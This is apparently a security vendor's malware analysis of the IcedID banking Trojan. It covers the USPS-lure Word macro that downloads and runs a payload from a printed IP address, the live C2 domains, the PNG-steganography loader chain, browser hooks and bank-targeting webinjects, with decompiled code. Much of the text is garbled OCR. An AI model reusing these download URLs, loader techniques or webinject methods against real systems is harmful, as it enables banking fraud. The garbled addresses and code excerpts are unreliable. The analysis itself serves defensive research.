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This blog post was authored by @hasherezade, with contributions from @siri_urz and
Jéréme Segura.

Security firm Proofpoint recently published a report about a series of malspam campaigns
they attribute to a threat actor called TA2101. Originally targeting German and Italian users
with Cobalt Strike and Maze ransomware, the later wave of malicious emails were aimed at
the US and pushing the IcedID Trojan.

During our analysis of this spam campaign, we noticed changes in how the payload was
implemented, in particular with some code rewritten and new obfuscation. For example, the
IcedID Trojan is now being delivered via steganography, as the data is encrypted and
encoded with the content of a valid PNG image. According to our research, those changes
were introduced in September 2019 (while in August 2019 the old loader was still in use).

The main IcedID module is stored without the typical PE header and is run by a dedicated
loader that uses a custom headers structure. Our security analyst @hasherezade previously
described this technique in a talk at the SAS conference (Funky Malware Formats).

In this blog post, we take a closer look at these new payloads and describe their technical
details.
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Distribution

Our spam honeypot collected a large number of malicious emails containing the “USPS
Delivery Unsuccessful Attempt Notification” subject line.

Feed From Date = Subject Attachment(s)

USPS Delivery Unsuccessful Attem

v noreply@usps-prioritymail.com 2019-11-21T719:45:39.000Z

pt Notification

« UUID: 92282316-909c-428a-afla-2a6ec69bac39
Reply to Address: noreply@usps-prioritymail.com

« To Address:
* SMTP EHLO: IEEE el kKl
« SPF: pass

« DKIM Result: fail (Computed bodyhash is different from the expected one)

DKIM Signature:

Hash: sha256.3f82a867685f2999f7b94badac7771bae4509f70c80b09ed0c1808dc39849633
Created At: 2019-11-21719:45:59.000Z

Each of these emails contains a Microsoft Word document as attachment allegedly coming
from the United States Postal Service. The content of the document is designed to lure the
victim into enabling macros by insinuating that the content had been encoded.

- 1= 3 = LISPS_Defvery doo |Compatibibity Mode] - ‘Word T M = 0 %
HOMAE INSERT DESIGH PGE LAY DT REFEREWCES MABILINGS REVIEW WIEW S i F 1
— _ : ; o : HFind -
1 . . - & P T & ) " .
Times Mew R = (12 A x Aa e B i V| 4aBsCel AaBbC  ABYCel | AaBbCel - % Replace
e

p’_’" o B T U -oamouw = . A- = = - e, I Emphasin ~ Heading 1 | 7 Marmal SErong [
Cigtoand G Font Paragraph & Shyle T Farthing -
Erable Contert x

| SECUSITY WARNING Sams sctres content has been drabled. Click for mees details

[ >

LIWITED STATES
PUSTAL SERVICE

= securiD

Thas document has been encoded.
To open the docusmnent, follow these steps:

Thes document 15 only avalable for deskiop or laptop versions of Mucrosoft Office Ward
Click Enable editing button from the yellow bar sbove
Ohuce vou have emabled sdsiing, please click Emahle content bution from the vellow bar above

MNovember 12, 2019
-—--BEGIN RSA PRIVATE KEY BLOCK -

Version: BCPG Cavl 9.2.0

Elu2jDES0+gEoVkaZAQRFSRAUYDFZWZ Sae THOC SITRPAApGAL FINcly CShxyckMEJAHTBE YR Yefo
i KemOnAii TalIOvL 3 T4Dmq0SRIA TL TTvhal C4IF v+ 3y T45 TZud SDE0GGVAIVeEES JuaWkD Yrvba
OREpS16MT0=ElaDES0HGEVkgZAQFIR AUYDFZWZ Sae THOC STkPAApGAU L F Ny CotxyckMENd
MIBE YR Y efojgud XemOnAn TolJOyL 3¢ T4Dng0SRIA TL T Tohe CAIF 3134 T4 3 1Zu3 8D60GGV ArVeEES 3
wWEDY rvbnOREpS 1 6N TO=ElnDES0+ qEa Vg ZAQKFIRALYDF ZWZSae THOC STRPAArpGAU FiNcly
COtoryckMEJAMIBE YR Y efojgud XemCOnij TalOvL 3 T4 Dxq0SRjA TL TTohalCATF 3v+3 v T45TZu3 8D60
GGV AINVEES Juu WD Y rvbnOR8pS 16N T0=Elu2iD8S0-+-qE oV ZAQkF IR AUYDFZWZSae THOC STiPd

3 | R - ¥

Having a look at the embedded macros, we can see the following elements:
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There is a fake error message displayed to the victim, but more importantly, the IcedID
Trojan authors have hidden the malicious instructions within a UserForm as labels.

];F?’////////////////M/////////////////,ﬁ;
- £104,116,116,112,58,47,47,49,43,52,46,49,54,56,46,49,57,5 % - - -

::/{,5455051,43 47,119,111,114,100,117,112, 100,496,116, 109 g::

:ﬁ‘ ﬁ::

:f» 7

L. “woo. .
o

. 67,58,92,87,105,110,100,111,119,115,92,84,101,109,112,92,1 -
© 1 01,114,101,100,46,116, 109,112

ASCII values

The labels containing numerical

The macro grabs the text from the labels, converts it, and uses during execution:

urll = Dcr(GH1.Labell.Caption)
pathl = Dcr(GH1.Label2.Caption)


https://blog.malwarebytes.com/wp-content/uploads/2019/11/macros1.png

For example:

104 116 116 112 58 47 47 49 48 52 46 49 54 56 46 49 57 56 46 50 51 48 47 119 111 114
100 117 112 100 46 116 109 112
converts to: http://104.168.198.230/wordupd.tmp

67,58,92,87,105,110,100,111,119,115,92,84,101,109,112,92,101,114,101, 100, 46,116,109, 11
converts to: C:\Windows\Temp\ered.tmp

The file wordupd.tmp is an executable downloaded with the help of the
URLDownloadToFileA function, saved to the given path and run. Moving on, we will take a
closer look at the functionality and implementation of the downloaded sample.

Behavioral analysis

As it had before, IcedID has been observed making an injection into svchost, and running
under its cover. Depending on the configuration, it may or may not download other
executables, including TrickBot.

Dropped files

The malware drops various files on the disk. For example, in %APPDATA%, it saves the
steganographically obfuscated payload (photo.png) and an update of the downloader:

Local Disk (C:) » Users » tester » AppData » Local » tester »

ary - Share with = Slide show Mew folder

l . -
{0804 A4BE-2F0 photo.png

2-4398-BDD4-
BETEFI2DC56F

}

It also creates a new folder with a random name, where it saves a downloaded configuration
in encrypted form:

Local Disk (C:} » Users » tester » AppData » Local » tifkbedgfad

iy - Share with - Mew folder

-~

Marne Type Size Date maodified
|| uhgjcdepgzaa.dat DAT File 520 KB 2019-11-21 18:35
|| ybyzmduzcdba.dat DAT File IKB  2019-11-21 18:35

4/51


https://blog.malwarebytes.com/trojans/2019/09/trickbot-adds-new-trick-to-its-arsenal-tampering-with-trusted-texts/

Inside the % TEMP% folder, it drops some non-malicious helper elements: sqlite32.dll (that
will be used for reading SQLite browser databases found in web browsers), and a certificate
that will be used for intercepting traffic:

r v Local Disk (C:) » Users » tester » AppData » Local » Temp »

Share with = Mew folder
Mame Size Type Date modified
|§] sqlite32.dll 905 KB Application extension 2019-11-21 18:35

| _| F72DDFCD.tmp

2KB  TMP File

2019-11-21 18:33

Looking at the certificate, we can see that it was signed by VeriSign:

& F72DDFCDAmp |

Offaec (h)

00000000
Q0000010
00000020
00000030
00000040
00000030
00000060
00000070
00000080
00000050
000000R0
0000C00BO
000000C0O
000000D0
000000EQ
000000F0
00000100
00000110
Q0000120
00000130
00000140
00000150
00000160
00000170
00000180
00000130
000001A0
000001R0
Q00001C0
00000100
000001ED
000001F0

Persistence

0o

0o
BC
00
38
35
33
36
0o
6F
73
&F
20
72
20
30
42
86
09
29

01

0o
00
00
0o
00
00
00
0o
00
00
oo
0o
00
00
82
3D
48
06
04

02

oo
00
00
36
38
32
32
0o
73
65
&7
S0
20
0o
02
A3
g6
03
OA

03

oo
0o
o0
oo
0o
oo
oo
ad
oo
oo
oo
0o
o0
oo
A9
4E
ET
55
13

04

43
1c
od
42
34
38
46
oo
6F
20
T2
T2
76
01
RO
o4
oD
04
QE

05

45
00
00
oo
00
00
o0
0o
oo
o0
oo
00
00
o0
03
C3
01
o0&

06

&2
00
00
42
45
41
44
0o
L1
43
&l
6F
31
oo
02
35
01
13

a7

54
Q0
00
a0
00
00
00
a0
00
00
o0
00
00
00
01
Q0
05
02

08

02
64
00
43
45
L
41
4D
T4
T2
70
76
ZE
44
02

03
55

09

oo
00
0o
0o
0o
00
0o
0o
00
0o
0o
00
00
03
02
87
0o
53

oo
00
0o
43
33
43
30
&9
20
78
&8
&9
30
0o
10
&D
30
31

0B

oo
00
00
0o
0o
00
00
0o
00
00
oo
0o
00
0o
61
30
81
17

oc

01
01
01
36
35
41
37
&3
42
T0
&9
&4
00
30
oD
oD

30

oD

00
00
00
00
00
00
00
0o
o0
00
o0
00
00
g2
F3
06
31
15

OE

00
00
00
30
33
32
32
T2
6l
T4
683
65
00
03
c3
08
0B
06

oF

00
00
00
00
00
00
00
0o
00
00
00
00
00
40
47
2R
30
03

13

BE
72
7
63
2C
1
3l
69
69
66
74
32
31

63
&5
6F
29
20
&6F
46
&7
63
63
T8
31
31

2E
53
T2
20
49
72
30
6E
20
63
20
31
37

31
&9
6B
32
6E
&9
44
20
50
el
20
37
33

1F
a7
31
30
63
TR
06
43
T2
74
2D
a5
a3

30
&6E
AR
20
2E
65
03
6C
69
63
20
a5
a3

63
1D
20
30
36
20
64
29
6l
&6D
6F
47
e o2
31

T2
06
54
38
20
2D
20
04
73
61
6E
35
b o
SR

L)
03
72
06
-1
20
75
03
73
T2
£0
30
3=

23
55
75
03
85
46
73
13
20
79
41
1E
17

63
04
73
55
T2
&F
&5
3D
33
20
75
17
oD

&7
0B
T4
04
&9
T2
20
26
20
43
74
oD
32

GE
13
20
0B
53
20
&6F
65
20
65
68
31
31

2C
16
4E
13
&9
61
&E
T2
75
T2
er

o
=}

31

20
56
65
31
&7
75
&C
69
62
T4
T2
31
31

15
65
74
28
&E
T4
79
23
L
69
L
31
32

81

31

0B

30

08

0&

g,.®

1F0D. .

ign Class
ic Primary Cert
fication

Authori

The application achieves persistence with the help of a scheduled task:
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Marme Status  Triggers Mext Run Time Last Run Time Last Run Result .
% {0BD4A4BI-2E01-4399-BDD3-BETOFT2DCS6E}  Queued Multiple triggers defined  2019-11-22 16:00:00  2019-11-21 19:05:22  (0x0)

General | Triggers | Acticns | Conditionsl Settings | History (disabled)|

When you create a task, you must specify the action that will cccur when your task starts. To change these actions, open the task property pages usi

Action Details
Start a program Ch\Usershtester\AppData\Local\tester\{08D4 A4BS-2F02-4398-BDD4-BETEFT 2D C56F 1\ kb4146978765. exe

The task has two triggers: at the user login and at the scheduled hour.

Overview of the traffic

Most of the traffic is SSL encrypted. We can also see the use of websockets and addresses
in a format such as “dataZphp?<key>“, “data3.php?<key>".

GET /data3.php?F72DDFCD1E995B50 HTTP/1.1
Host: jjanuatu.com

Upgrade: websocket

Connection: Upgrade

Sec-WebSocket-Version: 13
Sec-WebSocket-Key: QdNPPR4eAABBOO89Hh4 ==

HTTP/1.1 101 Switching Protocols

Server: openresty

Date: Wed, 06 Nov 2019 23:36:42 GMT

Connection: upgrade

Upgrade: websocket

Sec-WebSocket-Accept: DAtiHFI4AmAEWxBsAcCW7oMXxH3o=

GET /data3.php?F72DDFCD5FA65FD6 HTTP/1.1
Host: mirkolkdb.nl

Upgrade: websocket

Connection: Upgrade

Sec-WebSocket-Version: 13
Sec-WebSocket-Key: 23scAndeAADbexwCfh4AAA==

HTTP/1.1 181 Switching Protocols

Server: openresty

Date: Thu, 21 Nov 2019 17:33:23 GMT

Connection: upgrade

Sec-WebSocket-Accept: 458DJINC6T1LcwCriMRz3Fb6IRIk=
Upgrade: websocket

S (TP P - R T A . - S I e O] - - - PO o o o PPE-Pir- T - o NIl (Ol (O [ - - - L P

Attacking browsers

The IcedID Trojan is known as a banking Trojan, and indeed, one of its important features is
the ability to steal data related to banking transactions. For this purpose, it injects its implants
into browsers, hooks the API, and performs a Man-In-The-Browser attack.
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Inside the memory of the infected svchost process we can see the strings with the
configuration for webinjects. Webinjects are modular (typically HTML and JavaScript code
injected into a web page for the purpose of stealing data).

7| Results - svchost.exe (4016)

9 208 results,

Address Length Result

0x2795594 122
Ox27961c 122
0x2796a4 122
0x279728 121
0x2797b4 122
0x27983c 122
0x2798c4 113
027994 118
0x2799d4 118
0x279a5¢c 118
0x279ae4 118
Ox279bec 118
Ox279bf4 68

0x279c3a 52

Ox279cTc 122
0x279d04 122
Ox279dac 122
0x279e14 122
Ox279eSc 122
Ox 27924 122
Ox279fac a2

Ox27a00a 20

“ywww . pcsbanking, net\fonlinebanking'd\ogin\.ri?t-bank=\d +5
~ywww . pcsbanking’, net\fonlinebanking'd\ogin\.ri?t-bank="d +5
~yuww . pcsbanking, net\fonlinebanking'd\login'.ri?t-bank="d +5
value="Continue” style="display: none;"” f><input type="button” dass="dval" id="verificationLogin” value="Continue” />
~ywww\. pcsbanking', net\/onlinebanking'd\login\.ri?t-bank=\d +5
~ywww . pcsbanking’, net\fonlinebanking'd\ogin\.ri?t-bank="d +5
fundsxpress\,com'/(DigitalBanking |digitalbanking)/fH(5]47)
fundsxpress\. com\/(DigitalBanking |digitalbanking) /(S ]\7)
fundsxpress\. com'/(DigitalBanking |digitalbanking)\/fx(s]\?)
fundsxpress\,com'/(DigitalBanking |digitalbanking)/fH(5]47)
fundsxpress\. com\/(DigitalBanking |digitalbanking) /(S ]\7)
fundsxpress\. com'/(DigitalBanking |digitalbanking)\/fx(s]\?)
2w |cbc)\. comerical. com($] %)

redlogin |passwordWT)\, aspx

(www, J?americanexpressl, com (71, =\, (woff|ttf|svg|eotlotf)S)
(www\,Jramericanexpressl. com (71, =\, (woff|ttf]sva|eatlotf)S)
~runpayroll\.adpl.com\/. *\/(registeredlogin JpasswardWT)\.aspx
“runpayroll,adpl, com\yf. *\/{registeredlogin jpasswordWT) . aspx
~runpayroll.adpl. com\y. *\/{registeredlogin [passwordWT) . aspx
~runpayroll\.adpl.com\/. *\/(registeredlogin JpasswardWT)\.aspx
wwwl.rbch, comfwebappl/. *\signin/{, %) \.icos

fmain\.css

Webinjects configuration in the memory of infected svchost
The core bot that runs inside the memory of svchost observes processes running on the
system, and injects more implants into browsers. For example, looking at Mozilla Firefox:

E firefox.exe (832) Properties

| General I Statistics I Performance I Threads | Token | Modules | Memeory | Environment | Handles | Comment

Hide free regions
Base address Type Size  Protect... Use Total W5 Private WS :_I_he

» 0% 130000 Private 1536 kB RW sta... 16 kB 16 kB

» O 2b0000 Private 4kB RW 4kB 4kB

4 0x 200000 Private 24kB RW 24 kB 24 kB
Ox2c0000 Private: Commit 4kB RW 4 kB 4 kB
Ox2c1000 Private: Commit 3kB RX 2 kB 2 kB
Ox2c3000 Private: Commit 12kB RW 12 kB 12 kB

» 0w 2d0000 Private 4kB RW 4kB 4kB

IcedID implant in the browser’s memory
By scanning the process with PE-sieve, we can detect that some of the DLLs inside the
browser have been hooked and their execution was redirected to the malicious module.

In Firefox, the following hooks have been installed:
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e nss3.dll : SSL_AuthCertificateHook->2¢2202[2c1000+1202]
e ws2_32.dll : connect->2¢2728[2c1000+1728]

A different set was observed in Internet Explorer:

e mswsock : hook 0[7852]->525d0[implant_code+15d0]
e ws2_32.dll : connect->152728[implant_code+1728]

The IcedID module running inside the browser’s memory is responsible for applying the
webinjects installing malicious JavaScripts into attacked pages.

«/div>
</fdivy
</div>
</div>

script 1id="0din0" type="text/javascript">(function (d){var c=function(){var c=!![];return function(d,e){var f=c?function(){if(e) {var g=e['apply'] |
</html>

Fragment of the injected script
The content of the inlined webinject script is available here: inject.js.

It also communicates with the main bot that is inside the svchost process. The main bot
coordinates the work of all the injected components, and sends the stolen data to the
Command and Control server (CnC).

Due to the fact that the communication is protected by HTTPS, the malware must also install
its own certificate. For example, this is the valid certificate for the Bank of America website:
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@ © & Bank of America Corporation (US) | https://www.bankofamerica.com

Podglad certyfikatu:  www.bankofamerica.com”

Qgélne | izﬁegﬁhr

Niniejszy certyfikat zostal zweryfikowany do wykorzystania przez:
Certyfikat 55L klienta

Certyfikat 55L serwera
Wystawiony dla
Mazwa pospolita (CM) www.bankofamerica.com
Organizacja (0] Bank of America Corporation

lednostka organizacyjna (OU) eComm Metwerk Infrastructure

Murner seryjny 6CCT:BTOE:FL:FO:1 C:18:00:00:00:00:54: CR:AETO
Wystawiony przez

Mazwa pospolita (CN) Entrust Certification Authority - L1M
Organizacja (0] Entrust, Inc.

Jednostka organizacyjna (OU) See www.entrust.net/legal-terms

Okres wainosci

Wazny od dnia 16 kewietnia 2019

Wygasa dnia 16 kwietnia 2020

Odciski

Odcisk SH&-256 81:12:B5:C7:6D:80:69:6F:8E:49:B9:6F:B7:8D:23:C9:
99:16:2B:FA:C0:D5:28:19:FA:85:E8:03:9D:BE202:1D

Odcisk SHAL F:FEF3:73:00:09:3B: AD:9B:C7:49:31:FE:BR:F6: DC:FC: C8:33:F1

And in contrast, the certificate used by the browser infected by IcedID:
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@0 & https://secure.bankofamerica.com/login/sign-in/signOnV2S5creen.go?msg=InvalidCredentials,

Podglad certyfikatu:  secure.bankofamerica.com”

Qgc’nlne ﬁzgegﬁﬁr

(3]

Nie mozna sprawdzic tego certyfikatu, poniewaz jego wystawca jest nieznany.

Jednostka organizacyjna (OU) VeriSign Trust Metwork

Dkres wainosci

Wazny od dnia 8 lipca 2018

Wygasa dnia 8 lipca 2020

Odciski

Odcick SHA-256 17:BB:1B:47 A FE:8F:D2:T70:E3:28:C8ES

38:36:2D:C2:A9:00:93:B2:4D:359:9F:69:C1

Odcisk SHAL

Overview of the changes

Wystawiony dla

Mazwa pospolita (CM) secure.bankofamerica.com

Organizacja (0) <Mie jest czedcig certyfikatu=

lednostka organizacyjna (OU) <Mie jest czescia certyfikatus=

Mumer seryjny 50:06:03:41:51:07:88:68

Wystawiony przez

Mazwa pospolita (CM) YeriSign Class 3 Public Primary Certification Authority - G5
Organizacja (0] YeriSign, Inc.

:F9:C0:75:
:Le:ES:EB

1:39:BA:55:20:30:95:E4:D2:51: DE:B3: F9:19:B2:2 C:81:09: BE:4 H

-

As we mentioned, the core IcedID bot, as well as the dedicated loader, went through some
refactoring. In this comparative analysis, we used the following old sample:

b8113a604e6c190bbd8b687fd2ba7386d4d9823415138a71bcf15f0a3c812e91

The detailed analysis of this payload can be found here: [1][2][3].

The old loader vs. new

The loader of the previous version of the IcedID Trojan was described in detail here, and
here. It was a packed PE file that used to load and inject a headerless PE.
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loader
(PE file)

upack
and
load

persistent elements
(saved on the disk)

SIS

core bot
(header-less PE)

in-memaory only

The main module was injected into svchost:

Fa

The implants in the svchost’'s memory

[n " swchost.exe (16007 Properties

| General | Statistics | Performance | Threads | Token | Modules | Memery | Environment I Handles | Comment

Hide free regions
Base address Type Size  Protection Total Ws Private WS  Shareable W3S

> Qx 10000 Private 128kE RW 128 kB

> Qx.30000 Private 8kB RW 4 kB kBl data

4 Qx40000 Private 45 kE RW 48 kB
040000 Private: Commit 4kB AW 4kB 4kB| headerless
0x41000 Private: Commit 24kB RX 24kB PE
0x47000 Private: Commit 20kE RW 20 kB

+ QxB0000 Private 256 kB RW 4kB

The implanted PE was divided into two sections, and the first memory page (representing the

header) was empty. This type of payload is more stealthy than a full PE injection (as is more
common). However, it was possible to reconstruct the header and analyze the sample like a
normal PE. (An example of the reconstructed payload is available here:
395d2d250b296fe3c7c5b681e5bb05548402a7eb914f9f7fcdccb741ad8ddfea).

The redirection to the implant was implemented by hooking the RtIExitUserProcess function

within svchost’s NTDLL.
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Lol e =]

ag48a1884 mov [eax], ebp

80401886 lea eax, [esp+iCh+var_ 18]
8048188A push eax

884818688 call inject headless pe

88481818 mov esi, eax
80481812 pop eCX
08481813 test esi, esi
88481815 jz short loc_ 481852
. M ¢
I
80481817 mov eax, [esp+iCh+var_4]
88481818 mov eax, [eax+8Ch]
8848181E add eax, [esp+iCh+var_ 8]

80481822 push eax

804081823 push ds:RtlExitUserProcess
06481829 push edi

|ﬂﬂhﬂ1829 call hook_func

06048182F mov esi, eax

aaLa1831 add esp, BCh

80401834 test esi, esi

88481836 j=z short loc_ LB1852
Ll e 5]

804061838 push 454N

804081830 push offset dword_LB3 008
80481842 push ebp

86481843 push edi

86481844 call write memory
80401849 mou esi, eax

When svchost tried to terminate, it instead triggered a jump into the injected PE’s entry point.

——

~ | jmp 42B2D RTtIEXitUserProcess

h eb .
Eﬂir esi The hooked RtlExitUserProcess
push edi

push 0

call ntd11.7760E1BC

redirects to payload’s EP

The loader was also filling the pointer to the data page within the payload. We can see this

pointer being loaded at the beginning of the payload’s execution:
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¢ || DOD42B2C ret
g mov eax,dword ptr ds:[474F5] payload's Entry Point
& 00042B32 push esi
& O0042E33 mov dword ptr ds:[eax+130],eax
& || 00042E39 call 42D23
® || DO042B3E mov esi,eax
® || 00042B40 call 42B74
& || 00042B45 test 2ax,edx
r--—-@( D00D42B47 ~ |je 42B52
i ® || 00042E49 call 427FE
! & (| O0042B4E test eax,eax
1-t----#| 00042E50 v [Jne 42B&6
| =---»a( DOD4ZBEZ test esi,esi
Pee=e== @ || 00042B5 4 ~ | je 42B70
] 0 ® (| O0042B56 mov eax,dword ptr ds:[474F8]
b e (| o0D42BS5E push 0
P ® || D0042B5D mov eax,dword ptr ds:[eax+130]
b # (| 00D42B63 call dword ptr ds:[eax+38]
! Lo # || 00042B66 push FFFFFFFF
i & (| 00042E65 call dword ptr ds:[48084]
d ® || 000D4ZBGE| ~ |jmp 42B66
bososes @ | 00042E70 pop esi
® || 00042B71 ret 4
4|
eax=0
dword ptr [000474F8]=00030000
ooo42B2D
24 Dump 1 44y Dump 2 4y Dump 3 B4y Dump 4 B4 Dump 5 | % watch 1 | [x=] Locals
Address | Hex ASCIT
ooo30000 01 OO0 OO OO|0O0 OO OO0 OO|DB o2 OF 77|00 OO OO0 OO|K. ..., BR_w.
00020010 (98 €A CF 77(00 00 00 00|18 SF OF F7|00 OO0 OD OO0|.j_w..... _ W,
00030020 (18 €A SF 77 (00 OO0 00 QO|B8 22 81 77|00 00 OO0 OO .Jj_w. Jraw. ..
000200%0 | 8D 22 61 77 (00 00 00 O0|2B E1 60 77|00 OO0 OO0 OO|.™aw. +a W ..
o0030040(F8 SF OF FF |00 OO0 OO0 OO|ZD S22 g6 77|00 OO0 OO0 OO0 | xXW_w. }5fw. ..
oooz0os0|F8 o9 oF FF|00 OO OO OO|ES 13 OO0 00|00 BA BB BF | XY_W... faaa P
00030060|01 00 00 BA|BS& D7 00 00|00 BA BS 87|01 00 00 BA|...® X...% ....%
00030070 | 8B FF 55 BB|(EC 51 8B FF|55 BB EC 6A|8B FF 55 8B|.yU.10Q.¥U.1j.vU.
00030080 EC 53 BS SD (00 00 OO0 BA|S8B FF 55 SBB|EC OF B8 7D |15 J...%.%vU.3.  }
00030090 | 00 00 OO BA|OOD OO OO OO|(Q0 OO0 OO OO|O0 OO0 OO 00| ... % e eeennns
ooQ3200A0| 00 OO OO OOQ|00 OO0 OO0 OO|00 00 OO OQ|00 00 00 00| & .ceeaansnnnnnns

In the new implementation, there is one more intermediate loader element implemented as

shellcode. The diagram below shows the new loading chain:
photo.png
b4
upack
and
load
downloaderrunner PMNG file core bot
(PE ile) :i> ::> shellcode |::> (header-less PE)

persistent elements in-memary only

(saved on the disk)

The shellcode has similar functionality that was previously implemented by the loader in form
of a PE. First it injects itself into svchost.
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[ svchost.exe (2776) Properties

| General | Statistics | Performance I Threads I Token I Modules | Memery | Environment | Handles I Disk and Metwork | Comment

Hide free regions
Basze address Type Size Protect... Use Total WS Private WS
[* D 10000 Mapped a4kE RW Heap (ID 2) 3 kB
[+ 0x30000 Mapped 1BkE R 16 kB
[ 0x40000 Mapped 4kB R 4 kB
[+ Ox 50000 Private 4kE RW 4kB 4kB
[+ 050000 Private 4kB  RW 4 kB 4 kB
4 (xF0000 Private 596 kB RW 596 kB 596 kB
070000 Private: Commit 596 kB RX 596 kB 596 kB
[> Ox 150000 Private 256 kB RW Stack (thread 2780) 3kB akB
51 svchost.exe (2776) (0x70000 - 0x105000) fellE s | 1
00000000 00 01 02 01 B9 45 09 00 9c 00 00 00 24 09 00 00 ..... Toeuans =R - 288
00000010 B8 11 00 00 ac 52 04 00 &1 42 09 00 &0 &0 06 B7 ..... R..aB.. ".. |] 4kB
00000020 90 da 628 03 b8 cd d6 40 &e 8c 90 &7 82 93 d4 26 ..h.w... s+ P 12kB
00000030 0d 4k 31 79 36 ac ad 84 22 b3 a5 71 79 bl bE 54 .Klv6..e.a. O¥..T 8kB
00000040 4% 56 be 06 28 76 47 Oc o5 42 31 20 c7 c5 8% 01 IV..({v...Bl .... 16 kB
00000050 3k 39 9%b ef 25 63 0f 8c 92 bl &4 28 %9e 47 09 62 ;9..%c....m)...b 3 kB
00000060 £8 58 47 af 25 29 b2 ac 37 cb 85 Bc 4e 37 19 04 XG.E)..T7...HT.. 28 kB
00000070 07 &c 19 a5 Tc cf e7 24 54 B9 61 14 Oe Te 45 10 .1..]..5T.a..~E. 12 kB
00000080 47 a2 bS5 bE 62 ad 54 96 97 bc ac 34 43 B3 af db ....b.T....4C...
00000090 B3 98 ad 1f 48 la 32 70 bBb 24 29 6a 55 Bb ec Bl ...... >p.5)J0. ..
00o000al ec 40 04 00 00 83 74 08 00 53 56 57 0Of 84 53 02 .@....}..5VW..5.
000000k0 OO0 00 &4 21 30 OO0 00 OO0 33 db 85 cO OFf B4 43 02 ..d4.0...3.....C.
000000c0 00 00 8b 40 Oc 8b 48 1c 85 c9 O£ 84 35 02 00 00 ...@..H..... 5. 4kB
00000040 B3 cl £0 Of B4 2c 02 00 00 Bk 41 28 85 cO 74 07 ..... PN P . 4kB

Then it decompresses and injects the payload, which as before is a headerless PE
(analogical to the one described here).

= suchost.exe (2776) Properties

| General | Statistics | Performance | Threads | Token | Modules  Memory | Environment | Handles | Disk a

J|Hide free regions

Baze address

Private: Commit

Private: Commit

Total W5
32kB

Private WS
4kB

O 10000000

O 1000 10010

(O 100 18000
0x718=0000 Image
0x 71930000 Image

Comparing the core

Private: Commit

headerless

PE

shellcode

The implementation of the core bot is modified. Yet, inside the code we can find some strings

known from the previous sample, as well as a similar set of imported API functions. We can
also see some matching strings and fragments of implemented logic.
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=

28841845 cmp
88841849 iz

[ebp+var_4], @
short loc_41885

I 1

88041848 push
a884184C push
@e84184F push
88841851 push
ae841853 call
88841858 add
8841858 mov
Bde41850 cmp
aaB4lesl jz

eax
[ebptvar_4]
@

8

sub_41E7D

esp, 1@h

esi, eax
[ebptvar_4], @
short loc_41875

i s =

82841863 push
aee41e66 push
20841868 call
Be84186E push
B284106F call

[ebptvar_4]
e

GetProcessHeap
cax
HeapFree

[ —

2aa41875
88841675 loc_41875:

28841875 push

offset aClear

CLEAR

2oR41885

89841885 loc_41885:

rin”f |eee4l@ss push 7

22841874 push 1 i inmt 8841887 push offset aEmpty ; "EMPTY\r
2084187C call sub_43BAB @ee4188C push @
28e41881 pop BCx 2284188 push q
28841882 pop BCxX eea41898 call sub_41E7D
Fragment of the code from the old implementation
Analogical fragment from the new sample:
12011278 mov [ebp+var_14], ebx
1881127E mov [ebp+var_B], ebx
18811281 mov [ebp+var_1F], l@éh
18811287 mov [ebptvar_28], 4
18211286 call sub_1@8eAEd3
19811298 mov [esp+2Chévar_2C], offset aClear ; “CLEAR\.r\n"
18811297 mov esi, eax
18811299 push 1
18011296 call sub_18eecsbC
1e@112a8 pop ecx
12@112A1 pop ecx
18011242 cmp [ebp+var_4], ebx
1e@11245 jz short loc_188112EC
Y A
= il e =
18811247 push [ebp+var_4] 18811284
18811244 push ebx 1811284 loc_1@@112BA:
18811248 call GetProcessHeap 188112BA xor ebx, ebx
18811281 push eax 1868112BC mov [ebpsvar_1C], offset aEmpty ; "EMPTY\rin”
1e€11282 call HeapFree 180112C3 lea eax, [ebpt+var_z2@]
18811288 jmp short loc_186112EC 186112C6 mov [ebptvar_18], 7
188112(0 push eax
188112CE mov [ebp+var 18], ebx
18611201 mov [ebptvar_C], ebx

Fragment of the code from the new implementation

Comparing both reconstructed samples with the help of BinDiff shows that there are quite a
few differences and rewritten parts. Yet, there are parts of code that are the same in both,

which proves that the codebase remained the same.
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similasity  confidi change EA primary PBTE DRIFENY EA secondary name secondary

Preview

of the similar functions
similarity  confiden change EA primary NAME Primary EA secondary name secondary

Preview

of different/rewritten functions
Let’s follow the execution flow of all the elements from the new IcedID package.

The downloader

In the current delivery model, the first element of IcedID is a downloader. It is a PE file,
packed by a crypter. The packing layer changes from sample to sample, so we will omit its
description. After unpacking it, we get the plain version:
fbacdb66748e6ccb971a0a9611b065ac.

Internally, this executable is simple and no further obfuscated. We can see that it first queries
the CnC trying to fetch the second stage, requesting for a photo.png. It passes a generated
ID to the URL. Example:

/photo.png?id=0198d464fe3e7f09ab0005000000fa00000000
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28481248 push eax

@8481249 push dword_ 4836083

Ba40124F lea eax, [esp+54Ch+photo _name]

2481253 push 1

#8481255 push offset aPhoto _png?id®@ ; "/photo.png?id=%8.2)30.5X%0.5XEs"
284812548 push eax ; LPSTR

28481256 call ds:wsprintfaA

28481261 and dword ptr [ebx], @

20481264 lea eax, [esp+558h+var_40@) |Fragment of the
28481268 and dword ptr [edi], @

B848126E mov esi, offset unk 483858

2p481273 mov ebp, ds:wsprintfid

28481279 push offset aMagnwnce_com ; "magnwnce.com”

8848127 push offset as HE

28481283 push eax 3 LPWSTR

28481284 call ebp ; wsprintfuW

function responsible for generating the image URL
The downloader fetches the PNG with the encoded payload. Then it loads the file, decodes
it, and redirects the execution there. Below we can see the responsible function:

16
17
18
19
28
21
22
23
24
25
26
27
28
29
38
31
32
33
34
35
36
37
38
39
48
41
42
43
a4
45
45

1

pcbBuffer = 2563
if ( SHGetFolderPathA(®, 28, @, @, pszPath) )
IstrecatA(pszPath, "c:\\Users\\Publicl\");
else
lstrecatA(pszPath, ™W\W");
v@ = lstrlenA(pszPath);
GetUserNameA(&pszPath[ve], &pcbBuffer);
CreateDirectoryA(pszPath, 8);
lstrecatA(pszPath, "\\photo.png"};
vid = Bunk_483688;
H
&dword_483888;
584;
= Rdword_483088;
if { !decode buf({{int)&v4) )
return @;
if ( !read_file(pszPath, (void **)&lpBuffer, (int)}&nNumberOfBytesToWrite)
|| !decode_png file(nNumberOfBytesTolWrite, (int)lpBuffer, &pcbBuffer, (unsigred int *)&v9) )
1
if ( !prepare_photo_link(({void **}&lpBuffer, &nNumberOfBytesTolWrite)
|| !decode png file({nWumberOfBytesToWrite, (int)lpBuffer, &pcbBuffer, {unsigned int *)&v3) )

1 W

B

1

return @;

¥

drop_file(pszPath, lpBuffer, nNumberOfBytesTolrite);

v2 = load to memory(pcbBuffer, pszPath});
if ( w2 )
return @;
